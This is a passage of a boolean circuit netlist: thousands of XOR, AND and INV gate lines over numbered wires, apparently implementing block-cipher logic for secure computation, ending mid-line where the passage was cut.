+2 1 22336 22431 22416 XOR +2 1 33386 33389 22429 XOR +2 1 22429 22352 22425 XOR +2 1 22336 22342 22424 XOR +2 1 22352 22424 22422 XOR +2 1 22335 22429 22421 XOR +2 1 33382 22421 22420 XOR +2 1 22338 22336 22298 XOR +2 1 22335 22298 22419 XOR +2 1 33389 33383 22430 XOR +2 1 33389 33384 22428 XOR +2 1 22421 22425 22414 AND +2 1 22414 22338 22341 XOR +2 1 22422 22420 22413 AND +2 1 22430 22415 22411 AND +2 1 22411 22336 22340 XOR +2 1 22424 22417 22409 AND +2 1 22429 22418 22408 AND +2 1 22408 22337 22339 XOR +2 1 22341 22339 22345 XOR +2 1 33389 22345 22350 XOR +2 1 22431 22416 22407 AND +2 1 22407 22413 22359 XOR +2 1 22359 22350 22405 XOR +2 1 22407 22408 22311 XOR +2 1 22311 22312 22358 XOR +2 1 22358 22340 22357 XOR +2 1 22410 22357 22404 XOR +2 1 22428 22419 22406 AND +2 1 22406 22409 22360 XOR +2 1 22406 22412 22364 XOR +2 1 22364 22336 22351 XOR +2 1 22359 22351 22402 XOR +2 1 22407 22360 22354 XOR +2 1 22340 22360 22314 XOR +2 1 22314 22339 22403 XOR +2 1 22345 22364 22313 XOR +2 1 33387 22313 22356 XOR +2 1 22410 22354 22310 XOR +2 1 33383 22310 22397 XOR +2 1 22405 22404 22401 AND +2 1 22401 22356 22396 XOR +2 1 22401 22403 22400 XOR +2 1 22402 22400 22399 AND +2 1 22399 22356 22398 XOR +2 1 22399 22411 22305 XOR +2 1 22305 22341 22301 XOR +2 1 33389 22301 22304 XOR +2 1 22399 22350 22302 XOR +2 1 33387 22301 22300 XOR +2 1 22396 22397 22395 AND +2 1 22395 22403 22394 XOR +2 1 22401 22395 22393 XOR +2 1 22395 22354 22309 XOR +2 1 22395 22412 22308 XOR +2 1 22308 22409 22303 XOR +2 1 22303 22304 22386 XOR +2 1 22403 22393 22392 AND +2 1 22392 22400 22390 XOR +2 1 22392 22410 22363 XOR +2 1 22363 22357 22384 XOR +2 1 33383 22363 22346 XOR +2 1 22346 22309 22391 XOR +2 1 22398 22390 22389 AND +2 1 22389 22359 22349 XOR +2 1 22349 22351 22388 XOR +2 1 22389 22413 22307 XOR +2 1 22346 22307 22299 XOR +2 1 22336 22299 22306 XOR +2 1 22303 22306 22387 XOR +2 1 22349 22302 22385 XOR +2 1 22299 22300 22383 XOR +2 1 22384 22421 22382 AND +2 1 22391 22420 22381 AND +2 1 22394 33382 22380 AND +2 1 22380 22382 22362 XOR +2 1 22385 22415 22379 AND +2 1 22388 22427 22378 AND +2 1 22398 22417 22377 AND +2 1 22377 22378 22316 XOR +2 1 22386 22418 22376 AND +2 1 22383 22416 22375 AND +2 1 22375 22378 22331 XOR +1 1 22331 22328 INV +2 1 22375 22376 22327 XOR +2 1 22387 22419 22374 AND +2 1 22384 22425 22373 AND +2 1 22391 22422 22372 AND +2 1 22394 22426 22371 AND +2 1 22385 22430 22370 AND +2 1 22370 22374 22347 XOR +2 1 22379 22370 22332 XOR +1 1 22347 22325 INV +2 1 22388 22423 22369 AND +2 1 22377 22369 22334 XOR +2 1 22398 22424 22368 AND +2 1 22325 22368 22324 XOR +2 1 22324 22362 22320 XOR +2 1 22386 22429 22367 AND +2 1 22367 22320 22323 XOR +2 1 22383 22431 22366 AND +2 1 22366 22367 22361 XOR +2 1 22372 22361 22343 XOR +2 1 22373 22343 22344 XOR +2 1 22381 22344 22348 XOR +2 1 22382 22348 22353 XOR +2 1 22334 22361 22330 XOR +2 1 22362 22330 22333 XOR +2 1 22332 22333 22435 XOR +2 1 22325 22330 22329 XOR +2 1 22328 22329 22434 XOR +2 1 22353 22327 22433 XOR +2 1 22343 22320 22319 XOR +2 1 22380 22348 22317 XOR +2 1 22316 22317 35048 XOR +2 1 22387 22428 22365 AND +2 1 22376 22365 22326 XOR +1 1 22326 22322 INV +2 1 22322 22323 22432 XOR +1 1 22433 35050 INV +2 1 35050 32956 5887 XOR +2 1 5887 5822 5798 XOR +2 1 5887 5847 5790 XOR +2 1 5887 33035 5777 XOR +2 1 35048 35061 5848 XOR +2 1 5916 5848 34978 XOR +2 1 34978 268 33625 XOR +2 1 5848 5839 5819 XOR +2 1 5777 5778 34989 XOR +2 1 34989 257 33636 XOR +2 1 33036 5790 34981 XOR +2 1 34981 265 33628 XOR +2 1 5921 35048 5782 XOR +2 1 5781 5782 5780 XOR +2 1 35055 22433 5814 XOR +2 1 5813 5814 34966 XOR +2 1 34966 280 33613 XOR +1 1 5780 34986 INV +2 1 34986 260 33633 XOR +2 1 20988 20989 32704 XOR +2 1 20985 32704 20965 XOR +2 1 20986 20965 20925 XOR +2 1 20981 20965 20931 XOR +1 1 20931 20928 INV +2 1 20928 20929 35006 XOR +2 1 34991 35006 5871 XOR +2 1 5871 5870 5765 XOR +2 1 20954 20925 35010 XOR +2 1 34994 35010 5836 XOR +2 1 5836 34992 5578 XOR +2 1 5922 35010 5753 XOR +2 1 5753 5754 34886 XOR +2 1 34886 360 33533 XOR +2 1 5869 5836 5821 XOR +1 1 5836 5732 INV +2 1 5732 34996 5731 XOR +2 1 34995 5765 34881 XOR +2 1 34881 365 33528 XOR +2 1 33533 33528 15200 XOR +2 1 33529 33528 15084 XOR +2 1 35005 35010 5828 XOR +2 1 5879 5828 5770 XOR +2 1 34994 5770 34878 XOR +2 1 34878 368 33525 XOR +2 1 5578 5579 5915 XOR +1 1 5871 5733 INV +2 1 5733 32951 5802 XOR +2 1 5802 5803 34873 XOR +2 1 34873 373 33520 XOR +2 1 33525 33520 16868 XOR +2 1 5883 5733 5730 XOR +2 1 5730 5731 34866 XOR +2 1 34866 380 33513 XOR +2 1 33521 33520 16752 XOR +2 1 5869 5828 5752 XOR +2 1 32988 5752 34887 XOR +2 1 34887 359 33534 XOR +2 1 32704 20963 35008 XOR +2 1 35008 18401 5698 XOR +2 1 35004 35008 5880 XOR +2 1 5915 5880 34867 XOR +2 1 34867 379 33514 XOR +2 1 5830 35008 5615 XOR +2 1 5615 5616 5900 XOR +2 1 5900 5884 34883 XOR +2 1 34883 363 33530 XOR +2 1 33530 33532 15110 XOR +2 1 33530 33533 15201 XOR +2 1 33528 33530 15203 XOR +2 1 5775 5880 5773 XOR +2 1 5881 5880 5745 XOR +2 1 32773 5745 34892 XOR +2 1 34892 354 33539 XOR +2 1 33539 33541 17332 XOR +2 1 5773 5774 34875 XOR +2 1 34875 371 33522 XOR +2 1 33522 33524 16778 XOR +2 1 33522 33525 16869 XOR +2 1 33520 33522 16871 XOR +2 1 22378 22379 32714 XOR +2 1 32714 22353 35049 XOR +2 1 35049 35054 5888 XOR +2 1 5894 5888 34987 XOR +2 1 5888 5842 5793 XOR +2 1 5793 5794 34979 XOR +2 1 34979 267 33626 XOR +2 1 33626 33628 14693 XOR +1 1 35049 5628 INV +2 1 35062 5628 5817 XOR +2 1 5816 5817 34964 XOR +2 1 34964 282 33611 XOR +2 1 33611 33613 19834 XOR +2 1 35053 5628 5627 XOR +2 1 34987 259 33634 XOR +2 1 33634 33636 6242 XOR +2 1 22375 32714 22355 XOR +2 1 22371 22355 22321 XOR +1 1 22321 22318 INV +2 1 22318 22319 35047 XOR +2 1 35047 35052 5862 XOR +2 1 22376 22355 22315 XOR +2 1 22344 22315 35051 XOR +2 1 35051 35063 5834 XOR +2 1 5872 5834 5633 XOR +2 1 32950 5633 34959 XOR +2 1 34959 287 33606 XOR +2 1 35051 35055 5823 XOR +1 1 5823 5920 INV +2 1 5920 35048 5626 XOR +2 1 5626 5627 5895 XOR +2 1 5895 5839 34971 XOR +2 1 34971 275 33618 XOR +2 1 5862 5852 5783 XOR +2 1 5862 35060 5795 XOR +2 1 35051 5798 34974 XOR +2 1 34974 272 33621 XOR +2 1 33618 33621 18120 XOR +2 1 5834 35054 5820 XOR +2 1 5920 35057 5806 XOR +2 1 5819 5820 34963 XOR +2 1 34963 283 33610 XOR +2 1 33610 33613 19927 XOR +2 1 5795 5796 34977 XOR +2 1 34977 269 33624 XOR +2 1 33624 33626 14786 XOR +2 1 33625 33624 14667 XOR +2 1 35056 5783 34985 XOR +2 1 34985 261 33632 XOR +2 1 33633 33632 6216 XOR +2 1 33632 33634 6335 XOR +2 1 5845 5823 5776 XOR +2 1 5872 5823 5812 XOR +2 1 5862 5848 5807 XOR +1 1 5807 5805 INV +2 1 5805 5806 34970 XOR +2 1 34970 276 33617 XOR +2 1 5823 35063 5788 XOR +2 1 5788 5789 34982 XOR +2 1 34982 264 33629 XOR +2 1 33626 33629 14784 XOR +2 1 33629 33624 14783 XOR +2 1 35059 5776 34990 XOR +2 1 34990 256 33637 XOR +2 1 33634 33637 6333 XOR +2 1 33637 33632 6332 XOR +2 1 5834 35047 5590 XOR +2 1 5590 5591 5910 XOR +2 1 5910 5842 34962 XOR +2 1 34962 284 33609 XOR +1 1 21042 32998 INV +2 1 32773 32998 5876 XOR +2 1 5876 34993 5699 XOR +1 1 5699 5697 INV +2 1 5697 5698 34868 XOR +2 1 34868 378 33515 XOR +2 1 32998 18402 5681 XOR +2 1 5680 5681 5679 XOR +1 1 5679 34869 INV +2 1 34869 377 33516 XOR +2 1 33514 33516 20114 XOR +2 1 20114 33515 20073 XOR +2 1 5879 5876 5743 XOR +2 1 32774 5743 34893 XOR +2 1 34893 353 33540 XOR +2 1 33534 33540 17338 XOR +2 1 17332 17338 17420 XOR +2 1 33539 17338 17423 XOR +2 1 5884 5876 5772 XOR +2 1 32985 5772 34876 XOR +2 1 34876 370 33523 XOR +2 1 33523 33525 16776 XOR +2 1 16776 16871 16856 XOR +2 1 16778 16776 16738 XOR +2 1 16778 33523 16737 XOR +2 1 16871 16856 16847 AND +2 1 5881 32998 5757 XOR +2 1 5757 5758 34884 XOR +2 1 34884 362 33531 XOR +2 1 33531 33533 15108 XOR +2 1 15108 15203 15188 XOR +2 1 15110 15108 15070 XOR +2 1 15110 33531 15069 XOR +2 1 15203 15188 15179 AND +1 1 21044 32999 INV +2 1 32987 32999 5891 XOR +2 1 5899 5891 34872 XOR +2 1 34872 374 33519 XOR +2 1 33519 33521 16775 XOR +2 1 33520 16775 16777 XOR +2 1 33524 16777 16858 XOR +2 1 33523 16777 16855 XOR +2 1 16775 16869 16861 XOR +2 1 33519 33520 16792 XOR +2 1 16869 16792 16865 XOR +2 1 16775 16738 16859 XOR +2 1 33525 33519 16870 XOR +2 1 16861 16865 16854 AND +2 1 16854 16778 16781 XOR +2 1 16870 16855 16851 AND +2 1 16851 16776 16780 XOR +2 1 16869 16858 16848 AND +2 1 16848 16777 16779 XOR +2 1 16781 16779 16785 XOR +2 1 33525 16785 16790 XOR +2 1 16847 16848 16751 XOR +2 1 16751 16752 16798 XOR +2 1 16798 16780 16797 XOR +2 1 16868 16859 16846 AND +2 1 5891 5869 5767 XOR +2 1 5767 5768 5766 XOR +2 1 5891 5868 5744 XOR +2 1 35006 5744 34865 XOR +2 1 34865 381 33512 XOR +2 1 33512 33514 20207 XOR +2 1 33513 33512 20088 XOR +1 1 5766 34880 INV +2 1 34880 366 33527 XOR +2 1 33527 33529 15107 XOR +2 1 33528 15107 15109 XOR +2 1 33532 15109 15190 XOR +2 1 33531 15109 15187 XOR +2 1 15107 15201 15193 XOR +2 1 33527 33528 15124 XOR +2 1 15201 15124 15197 XOR +2 1 15107 15070 15191 XOR +2 1 33533 33527 15202 XOR +2 1 15193 15197 15186 AND +2 1 15186 15110 15113 XOR +2 1 15202 15187 15183 AND +2 1 15183 15108 15112 XOR +2 1 15201 15190 15180 AND +2 1 15180 15109 15111 XOR +2 1 15113 15111 15117 XOR +2 1 33533 15117 15122 XOR +2 1 15179 15180 15083 XOR +2 1 15083 15084 15130 XOR +2 1 15130 15112 15129 XOR +2 1 15200 15191 15178 AND +2 1 5732 32999 5761 XOR +2 1 32999 5572 5750 XOR +2 1 5749 5750 34889 XOR +2 1 34889 357 33536 XOR +2 1 33541 33536 17424 XOR +1 1 21045 33000 INV +2 1 5828 33000 5621 XOR +2 1 5621 5622 5897 XOR +2 1 5897 5870 34888 XOR +2 1 34888 358 33535 XOR +2 1 33535 17423 17419 XOR +2 1 33535 33536 17348 XOR +2 1 17348 17420 17418 XOR +2 1 33541 33535 17426 XOR +2 1 17423 17419 17406 AND +2 1 33000 5821 34863 XOR +2 1 34863 383 33510 XOR +2 1 33510 33516 20118 XOR +2 1 33515 20118 20203 XOR +2 1 33510 20073 20202 XOR +2 1 20202 33510 20188 AND +2 1 32988 33000 5892 XOR +2 1 5892 5829 5644 XOR +2 1 32775 5644 34871 XOR +2 1 34871 375 33518 XOR +2 1 33518 16861 16860 XOR +2 1 33518 33524 16782 XOR +2 1 16782 16777 16857 XOR +2 1 16776 16782 16864 XOR +2 1 16792 16864 16862 XOR +2 1 33523 16782 16867 XOR +2 1 33519 16867 16863 XOR +2 1 33518 16737 16866 XOR +2 1 16862 16860 16853 AND +2 1 16847 16853 16799 XOR +2 1 16799 16790 16845 XOR +2 1 16866 33518 16852 AND +2 1 16846 16852 16804 XOR +2 1 16804 16776 16791 XOR +2 1 16799 16791 16842 XOR +2 1 16785 16804 16753 XOR +2 1 33523 16753 16796 XOR +2 1 16867 16863 16850 AND +2 1 16850 16797 16844 XOR +2 1 16864 16857 16849 AND +2 1 16846 16849 16800 XOR +2 1 16847 16800 16794 XOR +2 1 16780 16800 16754 XOR +2 1 16754 16779 16843 XOR +2 1 16850 16794 16750 XOR +2 1 33519 16750 16837 XOR +2 1 16845 16844 16841 AND +2 1 16841 16796 16836 XOR +2 1 16841 16843 16840 XOR +2 1 16842 16840 16839 AND +2 1 16839 16796 16838 XOR +2 1 16839 16851 16745 XOR +2 1 16745 16781 16741 XOR +2 1 33525 16741 16744 XOR +2 1 16839 16790 16742 XOR +2 1 33523 16741 16740 XOR +2 1 16836 16837 16835 AND +2 1 16835 16843 16834 XOR +2 1 16841 16835 16833 XOR +2 1 16835 16794 16749 XOR +2 1 16835 16852 16748 XOR +2 1 16748 16849 16743 XOR +2 1 16743 16744 16826 XOR +2 1 16843 16833 16832 AND +2 1 16832 16840 16830 XOR +2 1 16832 16850 16803 XOR +2 1 16803 16797 16824 XOR +2 1 33519 16803 16786 XOR +2 1 16786 16749 16831 XOR +2 1 16838 16830 16829 AND +2 1 16829 16799 16789 XOR +2 1 16789 16791 16828 XOR +2 1 16829 16853 16747 XOR +2 1 16786 16747 16739 XOR +2 1 16776 16739 16746 XOR +2 1 16743 16746 16827 XOR +2 1 16789 16742 16825 XOR +2 1 16739 16740 16823 XOR +2 1 16824 16861 16822 AND +2 1 16831 16860 16821 AND +2 1 16834 33518 16820 AND +2 1 16820 16822 16802 XOR +2 1 16825 16855 16819 AND +2 1 16828 16867 16818 AND +2 1 16838 16857 16817 AND +2 1 16817 16818 16756 XOR +2 1 16826 16858 16816 AND +2 1 16823 16856 16815 AND +2 1 16815 16818 16771 XOR +1 1 16771 16768 INV +2 1 16815 16816 16767 XOR +2 1 16827 16859 16814 AND +2 1 16824 16865 16813 AND +2 1 16831 16862 16812 AND +2 1 16834 16866 16811 AND +2 1 16825 16870 16810 AND +2 1 16810 16814 16787 XOR +2 1 16819 16810 16772 XOR +1 1 16787 16765 INV +2 1 16828 16863 16809 AND +2 1 16817 16809 16774 XOR +2 1 16838 16864 16808 AND +2 1 16765 16808 16764 XOR +2 1 16764 16802 16760 XOR +2 1 16826 16869 16807 AND +2 1 16807 16760 16763 XOR +2 1 16823 16871 16806 AND +2 1 16806 16807 16801 XOR +2 1 16812 16801 16783 XOR +2 1 16813 16783 16784 XOR +2 1 16821 16784 16788 XOR +2 1 16822 16788 16793 XOR +2 1 16774 16801 16770 XOR +2 1 16802 16770 16773 XOR +2 1 16772 16773 16875 XOR +2 1 16765 16770 16769 XOR +2 1 16768 16769 16874 XOR +2 1 32974 16874 6423 XOR +2 1 16793 16767 16873 XOR +2 1 32973 16873 6416 XOR +2 1 16783 16760 16759 XOR +2 1 16820 16788 16757 XOR +2 1 16756 16757 35235 XOR +2 1 16827 16868 16805 AND +2 1 16816 16805 16766 XOR +1 1 16766 16762 INV +2 1 16762 16763 16872 XOR +2 1 32980 16872 6418 XOR +1 1 16874 35233 INV +1 1 16873 35238 INV +1 1 16872 35237 INV +1 1 35235 6370 INV +2 1 35241 6370 6380 XOR +2 1 5892 5870 5760 XOR +2 1 5892 5830 5769 XOR +2 1 32952 5769 34879 XOR +2 1 34879 367 33526 XOR +2 1 33526 15193 15192 XOR +2 1 33526 33532 15114 XOR +2 1 15114 15109 15189 XOR +2 1 15108 15114 15196 XOR +2 1 15124 15196 15194 XOR +2 1 33531 15114 15199 XOR +2 1 33527 15199 15195 XOR +2 1 33526 15069 15198 XOR +2 1 15194 15192 15185 AND +2 1 15179 15185 15131 XOR +2 1 15131 15122 15177 XOR +2 1 15198 33526 15184 AND +2 1 15178 15184 15136 XOR +2 1 15136 15108 15123 XOR +2 1 15131 15123 15174 XOR +2 1 15117 15136 15085 XOR +2 1 33531 15085 15128 XOR +2 1 15199 15195 15182 AND +2 1 15182 15129 15176 XOR +2 1 15196 15189 15181 AND +2 1 15178 15181 15132 XOR +2 1 15179 15132 15126 XOR +2 1 15112 15132 15086 XOR +2 1 15086 15111 15175 XOR +2 1 15182 15126 15082 XOR +2 1 33527 15082 15169 XOR +2 1 15177 15176 15173 AND +2 1 15173 15128 15168 XOR +2 1 15173 15175 15172 XOR +2 1 15174 15172 15171 AND +2 1 15171 15128 15170 XOR +2 1 15171 15183 15077 XOR +2 1 15077 15113 15073 XOR +2 1 33533 15073 15076 XOR +2 1 15171 15122 15074 XOR +2 1 33531 15073 15072 XOR +2 1 15168 15169 15167 AND +2 1 15167 15175 15166 XOR +2 1 15173 15167 15165 XOR +2 1 15167 15126 15081 XOR +2 1 15167 15184 15080 XOR +2 1 15080 15181 15075 XOR +2 1 15075 15076 15158 XOR +2 1 15175 15165 15164 AND +2 1 15164 15172 15162 XOR +2 1 15164 15182 15135 XOR +2 1 15135 15129 15156 XOR +2 1 33527 15135 15118 XOR +2 1 15118 15081 15163 XOR +2 1 15170 15162 15161 AND +2 1 15161 15131 15121 XOR +2 1 15121 15123 15160 XOR +2 1 15161 15185 15079 XOR +2 1 15118 15079 15071 XOR +2 1 15108 15071 15078 XOR +2 1 15075 15078 15159 XOR +2 1 15121 15074 15157 XOR +2 1 15071 15072 15155 XOR +2 1 15156 15193 15154 AND +2 1 15163 15192 15153 AND +2 1 15166 33526 15152 AND +2 1 15152 15154 15134 XOR +2 1 15157 15187 15151 AND +2 1 15160 15199 15150 AND +2 1 15170 15189 15149 AND +2 1 15149 15150 15088 XOR +2 1 15158 15190 15148 AND +2 1 15155 15188 15147 AND +2 1 15147 15150 15103 XOR +1 1 15103 15100 INV +2 1 15147 15148 15099 XOR +2 1 15159 15191 15146 AND +2 1 15156 15197 15145 AND +2 1 15163 15194 15144 AND +2 1 15166 15198 15143 AND +2 1 15157 15202 15142 AND +2 1 15142 15146 15119 XOR +2 1 15151 15142 15104 XOR +1 1 15119 15097 INV +2 1 15160 15195 15141 AND +2 1 15149 15141 15106 XOR +2 1 15170 15196 15140 AND +2 1 15097 15140 15096 XOR +2 1 15096 15134 15092 XOR +2 1 15158 15201 15139 AND +2 1 15139 15092 15095 XOR +2 1 15155 15203 15138 AND +2 1 15138 15139 15133 XOR +2 1 15144 15133 15115 XOR +2 1 15145 15115 15116 XOR +2 1 15153 15116 15120 XOR +2 1 15154 15120 15125 XOR +2 1 15106 15133 15102 XOR +2 1 15134 15102 15105 XOR +2 1 15104 15105 15207 XOR +2 1 15097 15102 15101 XOR +2 1 15100 15101 15206 XOR +2 1 15125 15099 15205 XOR +2 1 15115 15092 15091 XOR +2 1 15152 15120 15089 XOR +2 1 15088 15089 35222 XOR +2 1 15159 15200 15137 AND +2 1 15148 15137 15098 XOR +1 1 15098 15094 INV +2 1 15094 15095 15204 XOR +2 1 5760 5761 5759 XOR +1 1 5759 34864 INV +2 1 34864 382 33511 XOR +2 1 33511 33513 20111 XOR +2 1 33512 20111 20113 XOR +2 1 33516 20113 20194 XOR +2 1 33515 20113 20191 XOR +2 1 20118 20113 20193 XOR +2 1 33511 20203 20199 XOR +2 1 33511 33512 20128 XOR +2 1 20203 20199 20186 AND +2 1 35222 35226 6617 XOR +2 1 15150 15151 32662 XOR +2 1 32662 15125 35223 XOR +1 1 35223 6461 INV +2 1 35223 35227 6612 XOR +2 1 15147 32662 15127 XOR +2 1 15143 15127 15093 XOR +1 1 15093 15090 INV +2 1 15090 15091 35221 XOR +2 1 15148 15127 15087 XOR +2 1 15116 15087 35224 XOR +2 1 35221 35225 6622 XOR +2 1 6622 33025 6505 XOR +2 1 35224 35228 6591 XOR +2 1 6591 35222 6467 XOR +2 1 6591 6461 6460 XOR +2 1 16818 16819 32674 XOR +2 1 16815 32674 16795 XOR +2 1 16816 16795 16755 XOR +2 1 16784 16755 35239 XOR +2 1 35239 35243 6597 XOR +1 1 6597 6378 INV +2 1 16811 16795 16761 XOR +1 1 16761 16758 INV +2 1 16758 16759 35234 XOR +1 1 35234 6377 INV +2 1 35240 6377 6376 XOR +2 1 32674 16793 35236 XOR +2 1 35242 35236 6421 XOR +1 1 15207 32901 INV +2 1 32901 33026 6629 XOR +1 1 15204 32906 INV +2 1 32906 33031 6607 XOR +2 1 6607 35227 6503 XOR +1 1 15205 32907 INV +2 1 35224 32907 6456 XOR +1 1 15206 32908 INV +2 1 6591 32908 6470 XOR +2 1 32908 33025 6625 XOR +1 1 16875 32926 INV +2 1 32975 32926 6374 XOR +1 1 22435 33017 INV +2 1 33017 32950 5885 XOR +2 1 5834 33017 5588 XOR +2 1 5588 5589 5911 XOR +2 1 5911 5852 34960 XOR +2 1 34960 286 33607 XOR +2 1 33607 33609 19833 XOR +2 1 19833 19927 19919 XOR +2 1 33606 19919 19918 XOR +2 1 33613 33607 19928 XOR +2 1 5885 5837 5797 XOR +2 1 33030 5797 34975 XOR +2 1 34975 271 33622 XOR +2 1 33622 33628 14697 XOR +2 1 5885 5822 5787 XOR +2 1 32984 5787 34983 XOR +2 1 34983 263 33630 XOR +2 1 33630 33636 6246 XOR +2 1 33017 5812 34967 XOR +2 1 34967 279 33614 XOR +2 1 5885 5852 5810 XOR +1 1 22432 33023 INV +2 1 33023 33035 5857 XOR +2 1 22433 33023 5801 XOR +2 1 33023 5779 34988 XOR +2 1 34988 258 33635 XOR +2 1 33635 33637 6240 XOR +2 1 6240 6335 6320 XOR +2 1 6240 6246 6328 XOR +2 1 33635 6246 6331 XOR +2 1 6242 6240 6202 XOR +2 1 6242 33635 6201 XOR +2 1 5857 5845 5815 XOR +2 1 32956 5815 34965 XOR +2 1 34965 281 33612 XOR +2 1 33610 33612 19836 XOR +2 1 33606 33612 19840 XOR +2 1 19834 19840 19922 XOR +2 1 33611 19840 19925 XOR +2 1 33607 19925 19921 XOR +2 1 19836 19834 19796 XOR +2 1 19833 19796 19917 XOR +2 1 19836 33611 19795 XOR +2 1 33606 19795 19924 XOR +2 1 19924 33606 19910 AND +2 1 19925 19921 19908 AND +2 1 5857 35058 5791 XOR +2 1 5888 5857 5804 XOR +2 1 32981 5804 34972 XOR +2 1 34972 274 33619 XOR +2 1 33619 33621 18027 XOR +2 1 5800 5801 5799 XOR +1 1 5799 34973 INV +2 1 34973 273 33620 XOR +2 1 33618 33620 18029 XOR +2 1 33614 33620 18033 XOR +2 1 18027 18033 18115 XOR +2 1 33619 18033 18118 XOR +2 1 18029 18027 17989 XOR +2 1 18029 33619 17988 XOR +2 1 33614 17988 18117 XOR +2 1 18117 33614 18103 AND +2 1 5791 5792 34980 XOR +2 1 34980 266 33627 XOR +2 1 33627 33629 14691 XOR +2 1 14691 14786 14771 XOR +2 1 14691 14697 14779 XOR +2 1 33627 14697 14782 XOR +2 1 14693 14691 14653 XOR +2 1 14693 33627 14652 XOR +2 1 33622 14652 14781 XOR +2 1 14781 33622 14767 AND +2 1 14786 14771 14762 AND +2 1 33630 6201 6330 XOR +2 1 6330 33630 6316 AND +2 1 6335 6320 6311 AND +1 1 22434 33024 INV +2 1 33024 32949 5877 XOR +2 1 5917 5877 34976 XOR +2 1 5840 33024 5631 XOR +2 1 5631 5632 34961 XOR +2 1 34961 285 33608 XOR +2 1 33608 19833 19835 XOR +2 1 33612 19835 19916 XOR +2 1 33611 19835 19913 XOR +2 1 19840 19835 19915 XOR +2 1 33607 33608 19850 XOR +2 1 19850 19922 19920 XOR +2 1 19927 19850 19923 XOR +2 1 33608 33610 19929 XOR +2 1 19834 19929 19914 XOR +2 1 33609 33608 19810 XOR +2 1 33613 33608 19926 XOR +2 1 19919 19923 19912 AND +2 1 19912 19836 19839 XOR +2 1 19920 19918 19911 AND +2 1 19928 19913 19909 AND +2 1 19909 19834 19838 XOR +2 1 19922 19915 19907 AND +2 1 19927 19916 19906 AND +2 1 19906 19835 19837 XOR +2 1 19839 19837 19843 XOR +2 1 33613 19843 19848 XOR +2 1 19929 19914 19905 AND +2 1 19905 19911 19857 XOR +2 1 19857 19848 19903 XOR +2 1 19905 19906 19809 XOR +2 1 19809 19810 19856 XOR +2 1 19856 19838 19855 XOR +2 1 19908 19855 19902 XOR +2 1 19926 19917 19904 AND +2 1 19904 19907 19858 XOR +2 1 19904 19910 19862 XOR +2 1 19862 19834 19849 XOR +2 1 19857 19849 19900 XOR +2 1 19905 19858 19852 XOR +2 1 19838 19858 19812 XOR +2 1 19812 19837 19901 XOR +2 1 19843 19862 19811 XOR +2 1 33611 19811 19854 XOR +2 1 19908 19852 19808 XOR +2 1 33607 19808 19895 XOR +2 1 19903 19902 19899 AND +2 1 19899 19854 19894 XOR +2 1 19899 19901 19898 XOR +2 1 19900 19898 19897 AND +2 1 19897 19854 19896 XOR +2 1 19897 19909 19803 XOR +2 1 19803 19839 19799 XOR +2 1 33613 19799 19802 XOR +2 1 19897 19848 19800 XOR +2 1 33611 19799 19798 XOR +2 1 19894 19895 19893 AND +2 1 19893 19901 19892 XOR +2 1 19899 19893 19891 XOR +2 1 19893 19852 19807 XOR +2 1 19893 19910 19806 XOR +2 1 19806 19907 19801 XOR +2 1 19801 19802 19884 XOR +2 1 19901 19891 19890 AND +2 1 19890 19898 19888 XOR +2 1 19890 19908 19861 XOR +2 1 19861 19855 19882 XOR +2 1 33607 19861 19844 XOR +2 1 19844 19807 19889 XOR +2 1 19896 19888 19887 AND +2 1 19887 19857 19847 XOR +2 1 19847 19849 19886 XOR +2 1 19887 19911 19805 XOR +2 1 19844 19805 19797 XOR +2 1 19834 19797 19804 XOR +2 1 19801 19804 19885 XOR +2 1 19847 19800 19883 XOR +2 1 19797 19798 19881 XOR +2 1 19882 19919 19880 AND +2 1 19889 19918 19879 AND +2 1 19892 33606 19878 AND +2 1 19878 19880 19860 XOR +2 1 19883 19913 19877 AND +2 1 19886 19925 19876 AND +2 1 19896 19915 19875 AND +2 1 19875 19876 19814 XOR +2 1 19884 19916 19874 AND +2 1 19881 19914 19873 AND +2 1 19873 19876 19829 XOR +1 1 19829 19826 INV +2 1 19873 19874 19825 XOR +2 1 19885 19917 19872 AND +2 1 19882 19923 19871 AND +2 1 19889 19920 19870 AND +2 1 19892 19924 19869 AND +2 1 19883 19928 19868 AND +2 1 19868 19872 19845 XOR +2 1 19877 19868 19830 XOR +1 1 19845 19823 INV +2 1 19886 19921 19867 AND +2 1 19875 19867 19832 XOR +2 1 19896 19922 19866 AND +2 1 19823 19866 19822 XOR +2 1 19822 19860 19818 XOR +2 1 19884 19927 19865 AND +2 1 19865 19818 19821 XOR +2 1 19881 19929 19864 AND +2 1 19864 19865 19859 XOR +2 1 19870 19859 19841 XOR +2 1 19871 19841 19842 XOR +2 1 19879 19842 19846 XOR +2 1 19880 19846 19851 XOR +2 1 19832 19859 19828 XOR +2 1 19860 19828 19831 XOR +2 1 19830 19831 19933 XOR +2 1 19823 19828 19827 XOR +2 1 19826 19827 19932 XOR +2 1 19851 19825 19931 XOR +2 1 19841 19818 19817 XOR +2 1 19878 19846 19815 XOR +2 1 19814 19815 35230 XOR +2 1 35236 35230 6372 XOR +2 1 19885 19926 19863 AND +2 1 19874 19863 19824 XOR +1 1 19824 19820 INV +2 1 19820 19821 19930 XOR +2 1 34976 270 33623 XOR +2 1 33623 33625 14690 XOR +2 1 33624 14690 14692 XOR +2 1 33628 14692 14773 XOR +2 1 33627 14692 14770 XOR +2 1 14697 14692 14772 XOR +2 1 33623 14782 14778 XOR +2 1 14690 14784 14776 XOR +2 1 33622 14776 14775 XOR +2 1 33623 33624 14707 XOR +2 1 14707 14779 14777 XOR +2 1 14784 14707 14780 XOR +2 1 14690 14653 14774 XOR +2 1 33629 33623 14785 XOR +2 1 14776 14780 14769 AND +2 1 14769 14693 14696 XOR +2 1 14777 14775 14768 AND +2 1 14762 14768 14714 XOR +2 1 14785 14770 14766 AND +2 1 14766 14691 14695 XOR +2 1 14782 14778 14765 AND +2 1 14779 14772 14764 AND +2 1 14784 14773 14763 AND +2 1 14763 14692 14694 XOR +2 1 14696 14694 14700 XOR +2 1 33629 14700 14705 XOR +2 1 14714 14705 14760 XOR +2 1 14762 14763 14666 XOR +2 1 14666 14667 14713 XOR +2 1 14713 14695 14712 XOR +2 1 14765 14712 14759 XOR +2 1 14783 14774 14761 AND +2 1 14761 14764 14715 XOR +2 1 14761 14767 14719 XOR +2 1 14719 14691 14706 XOR +2 1 14714 14706 14757 XOR +2 1 14762 14715 14709 XOR +2 1 14695 14715 14669 XOR +2 1 14669 14694 14758 XOR +2 1 14700 14719 14668 XOR +2 1 33627 14668 14711 XOR +2 1 14765 14709 14665 XOR +2 1 33623 14665 14752 XOR +2 1 14760 14759 14756 AND +2 1 14756 14711 14751 XOR +2 1 14756 14758 